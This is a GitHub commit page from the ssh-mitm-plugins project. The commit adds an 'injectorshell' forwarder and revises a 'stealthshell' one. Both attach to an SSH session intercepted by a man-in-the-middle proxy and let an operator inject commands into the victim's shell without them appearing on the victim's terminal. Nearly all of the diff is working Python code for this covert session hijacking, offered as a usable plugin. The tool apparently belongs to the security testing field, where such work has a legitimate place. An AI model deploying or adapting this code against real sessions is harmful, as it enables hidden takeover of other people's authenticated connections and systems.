Skip to content

Commit 0eac425

Browse files
authored
Merge pull request #6 from The5imon/develop
Acommodate injectorshell
2 parents c191dd2 + 0876fa8 commit 0eac425

File tree

5 files changed

+176
-15
lines changed

5 files changed

+176
-15
lines changed

setup.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ def get_entry_points():
1919

2020
setup(
2121
name='ssh-mitm-plugins',
22-
version='0.1',
22+
version='0.2',
2323
author='Simon Böhm',
2424
author_email='[email protected]',
2525
description='advanced features for ssh-mitm server',

ssh_mitm_plugins/__entrypoints__.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,8 @@
11
entry_points = {
22
'SSHBaseForwarder': [
33
'scriptedshell = ssh_mitm_plugins.ssh.scriptedshell:SSHScriptedForwarder',
4-
'stealthshell = ssh_mitm_plugins.ssh.stealthshell:SSHInjectableForwarder'
4+
'stealthshell = ssh_mitm_plugins.ssh.stealthshell:SSHStealthForwarder',
5+
'injectorshell = ssh_mitm_plugins.ssh.injectorshell:SSHInjectableForwarder'
56
],
67
'SCPBaseForwarder': [
78

Lines changed: 161 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,161 @@
1+
import logging
2+
import queue
3+
import select
4+
import threading
5+
import socket
6+
import time
7+
8+
import paramiko
9+
10+
from ssh_proxy_server.forwarders.ssh import SSHForwarder
11+
from ssh_proxy_server.plugins.ssh.mirrorshell import InjectServer
12+
13+
14+
class SSHInjectableForwarder(SSHForwarder):
15+
"""hijack a ssh session and execute commands on an individual shell
16+
"""
17+
18+
HOST_KEY_LENGTH = 2048
19+
20+
@classmethod
21+
def parser_arguments(cls):
22+
cls.parser().add_argument(
23+
'--ssh-injector-net',
24+
dest='ssh_injector_net',
25+
default='127.0.0.1',
26+
help='local address/interface where injector sessions are served'
27+
)
28+
cls.parser().add_argument(
29+
'--ssh-injector-enable-mirror',
30+
dest='ssh_injector_enable_mirror',
31+
action="store_true",
32+
help='enables host session mirroring for the injector shell'
33+
)
34+
cls.parser().add_argument(
35+
'--ssh-injectshell-key',
36+
dest='ssh_injectshell_key'
37+
)
38+
39+
def __init__(self, session):
40+
super(SSHInjectableForwarder, self).__init__(session)
41+
self.injector_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
42+
self.injector_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
43+
self.injector_sock.bind((self.args.ssh_injector_net, 0))
44+
self.injector_sock.listen(5)
45+
46+
self.mirror_enabled = self.args.ssh_injector_enable_mirror
47+
self.queue = queue.Queue()
48+
self.sender = self.session.ssh_channel
49+
self.injector_shells = []
50+
thread = threading.Thread(target=self.injector_connect)
51+
thread.start()
52+
self.conn_thread = thread
53+
54+
def injector_connect(self):
55+
inject_host, inject_port = self.injector_sock.getsockname()
56+
logging.info(
57+
"created injector shell on port {port}. connect with: ssh -p {port} {host}".format(
58+
host=inject_host,
59+
port=inject_port
60+
)
61+
)
62+
try:
63+
while not self.session.ssh_channel.closed:
64+
readable = select.select([self.injector_sock], [], [], 0.5)[0]
65+
if len(readable) == 1 and readable[0] is self.injector_sock:
66+
client, addr = self.injector_sock.accept()
67+
68+
t = paramiko.Transport(client)
69+
t.set_gss_host(socket.getfqdn(""))
70+
71+
t.load_server_moduli()
72+
if self.args.ssh_injectshell_key:
73+
t.add_server_key(paramiko.RSAKey(filename=self.args.ssh_injectshell_key))
74+
else:
75+
t.add_server_key(paramiko.RSAKey.generate(bits=self.HOST_KEY_LENGTH))
76+
77+
inject_server = InjectServer(self.server_channel)
78+
try:
79+
t.start_server(server=inject_server)
80+
except (ConnectionResetError, EOFError, paramiko.SSHException):
81+
t.close()
82+
continue
83+
injector_channel = None
84+
while not injector_channel:
85+
injector_channel = t.accept(0.5)
86+
injector_shell = InjectorShell(addr, injector_channel, self)
87+
injector_shell.start()
88+
self.injector_shells.append(injector_shell)
89+
time.sleep(0.1)
90+
except (paramiko.SSHException, OSError) as e:
91+
logging.warning("injector connection suffered an unexpected error")
92+
logging.exception(e)
93+
self.close_session(self.channel)
94+
95+
def forward_stdin(self):
96+
if self.session.ssh_channel.recv_ready():
97+
buf = self.session.ssh_channel.recv(self.BUF_LEN)
98+
self.queue.put((buf, self.session.ssh_channel))
99+
100+
def forward_stdout(self):
101+
if self.server_channel.recv_ready():
102+
buf = self.server_channel.recv(self.BUF_LEN)
103+
self.sender.sendall(buf)
104+
if self.mirror_enabled and self.sender == self.session.ssh_channel:
105+
for shell in self.injector_shells:
106+
if shell.client_channel is not self.sender:
107+
shell.client_channel.sendall(buf)
108+
109+
def forward_extra(self):
110+
if not self.server_channel.recv_ready() and not self.session.ssh_channel.recv_ready() and not self.queue.empty():
111+
msg, sender = self.queue.get()
112+
self.server_channel.sendall(msg)
113+
self.sender = sender
114+
self.queue.task_done()
115+
116+
def close_session(self, channel):
117+
super().close_session(channel)
118+
for shell in self.injector_shells:
119+
shell.join()
120+
self.conn_thread.join()
121+
self.injector_sock.close()
122+
123+
124+
class InjectorShell(threading.Thread):
125+
126+
BUF_LEN = 1024
127+
STEALTH_WARNING = """
128+
[INFO]\r
129+
This is a hidden shell injected into the secure session the original host created.\r
130+
Any commands issued CAN affect the environment of the user BUT will not be displayed on their terminal!\r
131+
Exit the hidden shell with CTRL+C\r
132+
"""
133+
134+
def __init__(self, remote, client_channel, forwarder):
135+
super(InjectorShell, self).__init__()
136+
self.remote = remote
137+
self.forwarder = forwarder
138+
self.queue = self.forwarder.queue
139+
self.client_channel = client_channel
140+
141+
def run(self) -> None:
142+
self.client_channel.sendall(self.STEALTH_WARNING)
143+
try:
144+
while not self.forwarder.session.ssh_channel.closed:
145+
if self.client_channel.recv_ready():
146+
data = self.client_channel.recv(self.forwarder.BUF_LEN)
147+
if data == b'\x03':
148+
break
149+
self.queue.put((data, self.client_channel))
150+
if self.client_channel.exit_status_ready():
151+
break
152+
time.sleep(0.1)
153+
except paramiko.SSHException:
154+
logging.warning("injector shell %s with unexpected SSHError", str(self.remote))
155+
finally:
156+
self.terminate()
157+
158+
def terminate(self):
159+
if not self.forwarder.session.ssh_channel.closed:
160+
self.forwarder.injector_shells.remove(self)
161+
self.client_channel.get_transport().close()

ssh_mitm_plugins/ssh/scriptedshell.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,8 @@
66

77

88
class SSHScriptedForwarder(SSHForwarder):
9+
"""execute a script on ssh session startup
10+
"""
911

1012
@classmethod
1113
def parser_arguments(cls):

ssh_mitm_plugins/ssh/stealthshell.py

Lines changed: 10 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,9 @@
1111
from ssh_proxy_server.plugins.ssh.mirrorshell import InjectServer
1212

1313

14-
class SSHInjectableForwarder(SSHForwarder):
14+
class SSHStealthForwarder(SSHForwarder):
15+
"""injectorshell that focuses on stealth operation
16+
"""
1517

1618
HOST_KEY_LENGTH = 2048
1719

@@ -41,7 +43,7 @@ def parser_arguments(cls):
4143
)
4244

4345
def __init__(self, session):
44-
super(SSHInjectableForwarder, self).__init__(session)
46+
super(SSHStealthForwarder, self).__init__(session)
4547
self.injector_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
4648
self.injector_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
4749
self.injector_sock.bind((self.args.ssh_injector_net, 0))
@@ -89,7 +91,7 @@ def injector_connect(self):
8991
injector_channel = None
9092
while not injector_channel:
9193
injector_channel = t.accept(0.5)
92-
injector_shell = InjectorShell(addr, injector_channel, self)
94+
injector_shell = StealthShell(addr, injector_channel, self)
9395
injector_shell.start()
9496
self.injector_shells.append(injector_shell)
9597
time.sleep(0.1)
@@ -145,32 +147,27 @@ def close_session(self, channel):
145147
self.injector_sock.close()
146148

147149

148-
class InjectorShell(threading.Thread):
150+
class StealthShell(threading.Thread):
149151

150152
BUF_LEN = 1024
151153
STEALTH_WARNING = """
152154
[INFO]\r
153-
This is a hidden shell injected into the secure session the original host created.\r
155+
This is a stealth shell injected into the secure session the original host created.\r
154156
Any commands issued CAN affect the environment of the user BUT will not be displayed on their terminal!\r
155-
Exit the hidden shell with CTRL+C\r
156-
"""
157-
SUPER_STEALTH = """
158-
[SUPERSTEALTH]\r
159157
Commands from the injected shell will only be executed if they do not interfere with normal operation of the original host!\r
158+
Exit the hidden shell with CTRL+C\r
160159
"""
161160

162161
def __init__(self, remote, client_channel, forwarder):
163-
super(InjectorShell, self).__init__()
162+
super(StealthShell, self).__init__()
164163
self.remote = remote
165164
self.forwarder = forwarder
166165
self.queue = self.forwarder.queue
167166
self.client_channel = client_channel
168167
self.command = b''
169168

170169
def run(self) -> None:
171-
self.client_channel.sendall(
172-
self.STEALTH_WARNING + (self.SUPER_STEALTH if self.forwarder.args.ssh_injector_super_stealth else "")
173-
)
170+
self.client_channel.sendall(self.STEALTH_WARNING)
174171
try:
175172
while not self.forwarder.session.ssh_channel.closed:
176173
if self.client_channel.recv_ready():

0 commit comments

Comments
 (0)